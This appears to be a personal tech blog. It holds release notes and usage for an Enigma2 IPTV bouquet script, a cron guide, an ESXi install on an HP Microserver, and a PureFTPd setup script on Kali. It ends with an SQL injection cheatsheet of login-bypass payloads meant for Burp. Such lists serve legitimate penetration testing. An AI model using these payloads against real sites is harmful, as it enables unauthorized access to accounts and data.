e2m3u2bouquet 0.5

V0.5

Latest release focuses on custom mapping and now allows a number of new possibilities:-

  • Reorder bouquets
  • Reorder channels within bouquets
  • Disable entire bouquet or individual channels
  • Ability to change service reference (so that EPG from existing satellite service can be used)
  • Ability to replace local DVB in IPTV bouquet (e.g. if your box has a tuner you can use it for FTA channels instead of the IPTV versions)
  • Change tvg-id to match other xml epg feeds

Custom mapping

To use the custom mapping feature run the script once, it will create ‘e2m3u2bouquet-sort-current.xml’  in the working directory, FTP this to your machine rename it to ‘e2m3u2bouquet-sort-override.xml’ (best to use an xml aware editor like Notepad++), make changes and then FTP it back to the box.

N.B. Some of the more advanced mapping features (e.g. changing to a local dvb epg or a different xmltv epg) will be time consuming to set-up. Ways to further automate this will, hopefully, be part of a future release

Bouquet mapping

Open the override xml file, in the <mapping> -> <categories> section reorder the categories as you wish. If you set enabled from “true” to “false” no bouquet will be create for the category

Service mapping

Open the override xml file, in the <mapping> -> <channel> section reorder the channels as you wish. If you set enabled from “true” to “false” no service will be create for the channel

Using local DVB epg (e.g for full 7 day epg)

Open the override xml file, in the <mapping> -> <channel> section change the serviceRed attribute

For example to use the Channel 4 HD DVB-S EPG you would set the serviceRef to “1:0:1:52D0:814:2:11A0000:0:0:0″ (part in bold SID:TID:NID:Namespace needs to match). If you match a DVB service and also set the clearStreamUrl attribute to true the DVB service will replace the IPTV service.

(The service references can be found using a program like E-Channelizer)

Using different xmltv feed (e.g for full 7 day epg)

Open the override xml file, in the <mapping> -> <channel> update the tvg-id values to match the xmltv feed.Add the provider urls in <mapping> -> <xmltvextrasources> – there is a commented out config for the Rytec uk & de sources for reference

Provider Updates

Over time your provider is likely to update the channels they offer. If you are using custom sorting then any new categories/channels will be added at the end of your custom lists. If you wish to include the categories/channels in your custom mapping it’s best to re-save ‘e2m3u2bouquet-sort-current.xml’ as ‘e2m3u2bouquet-sort-override.xml’ (‘e2m3u2bouquet-sort-current.xml’ should always reflect the changes you’ve made in the override file)

Functionality changes

VOD
VOD is now back in one bouquet. Reason for this change it that a large number of bouquets can crash the box. If you wish to have multiple categories for VOD please use the -M parameter e.g.

./e2m3u2bouquet.py -n FAB -u USERNAME -p PASSWORD -M

All channels bouquet
To have an All Channels bouquet created please use the -a parameter e.g.

./e2m3u2bouquet.py -n FAB -u USERNAME -p PASSWORD -a

 

Download latest release here

e2m3u2bouquet 0.4.2

V0.4.2

Quick post, purely a bug fix release,

  • Includes 0.4.1 fix invalid picon path hanging the script
  • includes 0.4.1 update service number to use numbers unlikely to be in use by existing sat services
  • includes 0.4.1 leave service number gaps between categories to reduce the effect of playlist additions cause the epg to get out of sync
  • Fixed error for ACE and FLAWLESS users where “:” in category put the box into an infinite loop

e2m3u2bouquet_v0.4.2

 

e2m3u2bouquet 0.4

V0.4

OK been a couple of weeks but we have been busy.

Latest version of the script is now available below or from the home page, goto the home page for install instructions etc.

The script has come on a bit and is starting to be a bit more mature, some 500 lines of code compared to the initial release at 100 lines.

We are also now a team of 2! so kudos to Doug Mackay for doing at least half the coding on this release, also to Jose Sanchez for supplying the code for the picon support.

So changes this time

  • m3u file parsing updated ..
  • create single channels and sources list for EPG-Importer. Only one source now needs to be enabled in the EPG-Importer plugin (much quicker)
  • Added Picon download option (thanks to Jose Sanchez for initial code and idea)
  • Added custom bouquet ordering
  • Better command line arguments setup and processing
  • Mutli VOD by default
  • Named provider support (currently FAB, ULTIMATESPORTS and EPIC)
  • Delimiter options for user defined parsing of the m3u file (this means other format m3u files can be used with the script)

This means the command line options have changed again, they will remain static now,

So for the lucky FAB, ULTIMATESPORTS or EPIC people you can now run the script as follows

./e2m3u2bouquet.py -n FAB -u username -p password 

./e2m3u2bouquet.py -n EPIC -u username -p password 

Others need to run in a similar fashion to before but with the following options

./e2m3u2bouquet.py -m "http://stream.fabiptv.com:25461/get.php?username=USERNAME&password=PASSWORD&type=m3u_plus&output=ts" -e "http://stream.fabiptv.com:25461/xmltv.php?username=USERNAME&password=PASSWORD"

If any other providers want to be added to provider support just get in touch, happy to add others.

For information on picon support / custom bouquet sorting or specifying delimiter options for parsing other m3u file formats etc see the e2m3u2bouquet home page but for reference the full list of options is as follows.

usage: e2m3u2bouquet.py [-h] [-m M3UURL] [-e EPGURL] [-d1 DELIMITER_CATEGORY]
[-d2 DELIMITER_TITLE] [-d3 DELIMITER_TVGID]
[-d4 DELIMITER_LOGOURL] [-n PROVIDERNAME]
[-u USERNAME] [-p PASSWORD] [-i] [-s] [-P]
[-q ICONPATH] [-U] [-V]

e2m3u2bouquet.e2m3u2bouquet -- Enigma2 IPTV m3u to bouquet parser

Copyright 2017. All rights reserved.
Created on 2017-06-04.
Licensed under GNU GENERAL PUBLIC LICENSE version 3
Distributed on an "AS IS" basis without warranties
or conditions of any kind, either express or implied.

USAGE

optional arguments:
-h, --help show this help message and exit
-i, --iptvtypes Treat all stream references as IPTV stream type.
(required for some enigma boxes)
-s, --singlevod Create single VOD bouquets rather multiple VOD
bouquets
-P, --picons Automatically download of Picons, this option will
slow the execution
-q ICONPATH, --iconpath ICONPATH
Option path to store picons, if not supplied defaults
to /usr/share/enigma2/picon/
-U, --uninstall Uninstall all changes made by this script
-V, --version show program's version number and exit

URL Based Setup:
-m M3UURL, --m3uurl M3UURL
URL to download m3u data from (required)
-e EPGURL, --epgurl EPGURL
URL source for XML TV epg data sources
-d1 DELIMITER_CATEGORY, --delimiter_category DELIMITER_CATEGORY
Delimiter (") count for category - default = 7
-d2 DELIMITER_TITLE, --delimiter_title DELIMITER_TITLE
Delimiter (") count for title - default = 8
-d3 DELIMITER_TVGID, --delimiter_tvgid DELIMITER_TVGID
Delimiter (") count for tvg_id - default = 1
-d4 DELIMITER_LOGOURL, --delimiter_logourl DELIMITER_LOGOURL
Delimiter (") count for logourl - default = 5

Provider Based Setup:
-n PROVIDERNAME, --providername PROVIDERNAME
Host IPTV provider name (FAB/EPIC) (required)
-u USERNAME, --username USERNAME
Your IPTV username (required)
-p PASSWORD, --password PASSWORD
Your IPTV password (required)

e2m3u2bouquet_v0.4

e2m3u2bouquet – Automation via cron job

Cron Automation

OK quick post for those who requested it.

ssh to your enigma2 box

install busybox-cron

opkg install busybox-cron

Now set up your job

crontab -e

Will open the cron text editor.
Next steps need to be followed exactly as vi isn’t the most user friendly text editor

Press insert to start inputting text

Input your schedule and the command to run eg:

0 6,18 * * * /etc/enigma2/e2m3u2bouquet/e2m3u2bouquet.py -n FAB -u USERNAME -p PASSWORD >> /tmp/e2.log

or

0 6,18 * * * /etc/enigma2/e2m3u2bouquet/e2m3u2bouquet.py -m "http://stream.fabiptv.com:25461/get.php?username=YOURUSERNAME&password=YOURPASSWORD&type=m3u_plus&output=ts" -e "http://stream.fabiptv.com:25461/xmltv.php?username=YOURUSERNAME&password=YOURPASSWORD"

press escape to exit text entering mode

input

:wq

to write and quit from the file, your crontab is saved.

In the above example we have scheduled the job to run at 6am and 6 pm every day (6,18)

An alternative to the above is to use

(crontab -l ; echo "0 6,18 * * * /etc/enigma2/e2m3u2bouquet/e2m3u2bouquet.py -n FAB -u USERNAME -p PASSWORD")| crontab -

This will append the job to the crontab. You’ll get a warning message if the current crontab is empty

 

See here for more information on cron scheduling

Enigma2 IPTV m3u to bouquet v0.3

V0.3

nb: e2m3u2bouquet homepage is here for full instructions.

OK quick post to put this out there,

Thanks to all who tested the initial version and for all the suggestions and feedback really useful.

New version is a complete rewrite of the code base that won’t interest anyone unless they have an interest in python….

Feature wise it does the following

  • tvg-id now included in the channels from the m3u file
  • better parsing of m3u data (credit: Doug MacKay)
  • downloads m3u file from url
  • sets custom source to providers xml tv feed (as per Dougs v0.2)
  • fixed IPTV streams not playing / having incorrect stream type (Now set as IPTV stream type)
  • option to make all streams IPTV type (required for some enigma boxes)
  • option to split VOD bouquets by initial category
  • all parameters arg based so in theory works for other providers without a need to change the code and can be set up as an automatic cron job
  • auto reloads bouquets (credit: Doug MacKay)
  • debug \ testrun modes

In english, the bugs are ironed out, and epg is now working for everything that it can. It is no longer a requirement to manually download the m3u file the script will pick this up itself.

This does however mean the script is run differently.

Download version 0.3 here e2m3u2bouquet_v0.3

New instructions

  1. download the above file
  2. unzip the e2m3u2bouquet.py file
  3. ftp the e2m3u2bouquet.py to your engima2 box (i would suggest to /home/root)
  4. ssh to your enigma2 box (using putty or something similar)
  5. cd to the correct directory if you are not already there cd /home/root
  6. make script executable chmod 777 e2m3u2bouquet.py
  7. run the script passing the url for your m3u file and the url for your providers XML TV data feed (for FAB the below works)
    note: you need to replace the username and password values X 2
    python e2m3u2bouquet.py "http://stream.fabiptv.com:25461/get.php?username=YOURUSERNAME&password=YOURPASSWORD&type=m3u_plus&output=ts" "http://stream.fabiptv.com:25461/xmltv.php?username=YOURUSERNAME&password=YOURPASSWORD"
  8. No need to reboot

Additionally If you want epg data

  1. open EPG-Importer plugin (download it if you haven’t already got it)
  2. select sources (Blue button on openvix)
  3. enable all the IPTV UK sources created by the script
  4. Kick off a manual EPG import

If you are with a different provider the script should work but you will obviously need the m3u url (1st parameter) and XML TV url (2nd parameter) for your own provider. Please note the m3u file needs to be the “extended” version if you have the option.

For all stream types to be set to IPTV add -i to the end (default is DVB stream types for live channels and IPTV for VOD)

python e2m3u2bouquet.py "http://stream.fabiptv.com:25461/get.php?username=YOURUSERNAME&password=YOURPASSWORD&type=m3u_plus&output=ts" "http://stream.fabiptv.com:25461/xmltv.php?username=YOURUSERNAME&password=YOURPASSWORD" -i

To split VOD channels via category add -m

python e2m3u2bouquet.py "http://stream.fabiptv.com:25461/get.php?username=YOURUSERNAME&password=YOURPASSWORD&type=m3u_plus&output=ts" "http://stream.fabiptv.com:25461/xmltv.php?username=YOURUSERNAME&password=YOURPASSWORD" -m

To uninstall, dummy the positional parameters and add -U (yukky I know, will resolve)

python e2m3u2bouquet.py a a -U

There’s still quite a bit of work to do with the script but I wanted to get some thing that had working epg and could be automated out there.

 

Enigma2 IPTV m3u to bouquet

E2m3u2bouquet

This post is obsolete : Please see e2m3u2bouquet homepage for latest version

Background

Bit of a side project this one, but following recent developments seemed a shame not to be getting the best out of the VU+ solo2 box.

Long story short there are some good IPTV providers out there, however the offering enigma2 wise seems to be a giant m3u file that you import into a single bouquet or manually configure with E-channeliser. Both reasonable approaches but a bit lacking in usability and some what time consuming.

Anyway a couple of nights research and a bit of messing about and I have working script to convert an m3u into enigma2 bouquets, with *currently limited* UK EPG support.

So what does it do?

  • Takes a single m3u file and creates enigma2 user bouquets based the m3u data
  • Also creates unique service references for use with EPG importers
  • Creates supporting files for EPG-Import plugin

NB: The script does not touch or change any of your existing bouquets

Where can i get it ?

Here e2m3u2bouquet

How do i use it?

  1. download the above file
  2. unzip the e2m3u2bouquet.py file
  3. download your service providers m3u playlist from their site
  4. ftp the e2m3u2bouquet.py to your engima2 box along with the m3u file you have downloaded from your provider (i would suggest to /home/root)
  5. ssh to your enigma2 box (using putty or some thing similar)
  6. cd to the correct directory if you are not already there cd /home/root
  7. make script executable chmod 777 e2m3u2bouquet.py
  8. run the script passing the name of your m3u file as a parameter ./e2m3u2bouquet.py nameofyourfile.m3u
  9. if the above step fails try python e2m3u2bouquet.py nameofyourfile.m3u
  10. reboot your enigma2 box

Additionally If you want epg data

  1. open EPG-Importer plugin (download it if you haven’t already got it)
  2. select sources (Blue button on openvix)
  3. enable the IPTV UK sources created by the script (only worth doing for UK channels currently as only rytec UK sources are currently included)
  4. Kick off a manual EPG import

How do I update my Channels

Download a new m3u file to your box and run the script again, this will wipe out all the previously created files and bouquets and redo the process.

I’ll look into automating this in the future time permitting.

How do I get rid of it ?

In the event that the changes are not for you simply run the script with an uninstall parameter, this will reverse all the changes made by the script

./ e2m3u2bouquet.py uninstall

Known Limitations

EPG for foreign channels not supported (Not sure it will be)

EPG for UK channels hit and miss currently (about 50%) – some work to be done here, ill be looking into this next

PIC icons – Not currently supported

Version history

0.1 – Beta version for limited testing

Known supported boxes

VU Plus Solo2 / Openvix 5
zGemma h2s
VU PLus Duo / OpenVix
Xtrend 7500 OpenPli
Zgemma Openvix

 

Support

ping me in the comments

ESXi 6.5 on HP Microserver Gen 8

Well having decided to put together a small homelab and purchased a HP Microserver Gen 8 for the purpose I decided to go a head with VMware ESXi for the hypervisor, some thing new and we all like a challenge right?

Well its defintely been a challange in retrospec Hyper-V might have been easier but anyway I’ll get the process down well its still fresh in my mind.

Setup is currently the bog standard microserver, so 4gb Ram, celeron 2.3, 32GB USB stick and 2 X 2TB SATA drives… memory and processor upgrades yet to come.

Downloaded the HP specific version of ESXi 6.5 and mounted it via ILO, install is pretty stright forward, click next a few times, pick the USB stick as install location etc, happy days until you get the “you dont have over 4GB memory” (MEMORY_SIZE ERROR) error message and it kicks you out of the installer…

Eventually worked out a way around it with the following instructions from noteis.net

So when the memory size error occurs press ALT+F1 to drop you to the command line, login with root and blank password then

cd /usr/lib/vmware/weasel/util
rm upgrade_precheck.pyc
mv upgrade_precheck.py upgrade_precheck.py.old
cp upgrade_precheck.py.old upgrade_precheck.py
chmod 666 upgrade_precheck.py
vi upgrade_precheck.py (search for MEM_MIN_SIZE and find (4*1024). Replace 4* with 2*  and close after saving.
ps -c | grep weasel ( find the python PID )
kill -9  

upgrade_precheck.pyc didn’t exist on my install possibly being the HP version but I’ve left the step in there

When you kill python the installer restarts and you can get all the way through it, lovely job

So with the hypervisor installed time to play, started off with a Server 2016 install and so the issues began.

Wasn’t expect things to fly along on a celeron with 4GB but the install took over 3 hours, neither CPU or memory anywhere near maxed out, so looked to be a disk issue. In ESXi the max speed seen on the array was 30meg/s, installing ubuntu server and testing that showed an average of 5meg/s. Not great.

dd if=/dev/zero of=/tmp/output bs=8k count=100k; rm -f /tmp/output

Heaps of research managed to tie it down to to crap RAID drivers in a nut shell.

I gather current wisdom is to use the scsi-hpvsa-5.5.0-88 drivers in ESXi 6 and 6.5

So you need to enable SSH in ESXi (host > Manage > Services > Enable SSH)

ESXI SSH Enable

Then using filezilla or another FTP client FTP the scsi-hpvsa-5.5.0-88OEM.550.0.0.1331820.x86_64.vib across to /tmp

Stop all your VMs, enable maintenance mode either via the web GUI or SSH to your hypervisor and

esxcli system maintenanceMode set --enable true

Then SSH to the hypervisor

cd /tmp
cp scsi-hpvsa-5.5.0-88OEM.550.0.0.1331820.x86_64.vib /var/log/vmware/
# Remove the scsi-hpvsa driver
esxcli software vib remove -n scsi-hpvsa -f
#Install scsi-hpvsa-5.5.0-88
esxcli software vib install -v file:scsi-hpvsa-5.5.0-88OEM.550.0.0.1331820.x86_64.vib --force --no-sig-check --maintenance-mode
reboot

Rebooting and logging back into ESXi I found my data store gone along with both my VMs 🙁
Checking the raid driver I found it to now be on the ahci driver, so in essence we need to disable this to force it to roll back to our 5.5.0-88 driver.

Again ssh into the hypervisor and

esxcli system module set --enabled=false --module=vmw_ahci

You can check it worked via

esxcli system module list

You should end up with this

ESXi_RaidDriver

Reboot again run a disk speed check again in ubuntu.

Disk speed test

I’ll take 150meg/s!!

So thats ESXi 6.5 up and running on a 4GB HP microserver, more challenging than I was expecting but have to say I’m liking ESXI so far.

Kali Linux install PureFTPD

A very quick and dirty guide to installing Pure FTPd on kali linux

Install

apt-get install pure-ftp

Create a basic setup script

nano ftp-setup.sh
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd ftpuser -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Make script executable and execute

chmod 777 ftp-setup.sh
./ftp-setup.sh

SQLi Cheatsheet

SQLi

Quick list of useful SQLi payloads, unsure of the original author to credit but is knocking about various areas of the web, useful reference to load into burp

'
or 1=1
or 1=1--
or 1=1#
or 1=1*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'*
admin' or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'*
1234' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"*
admin" or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"*
1234" AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055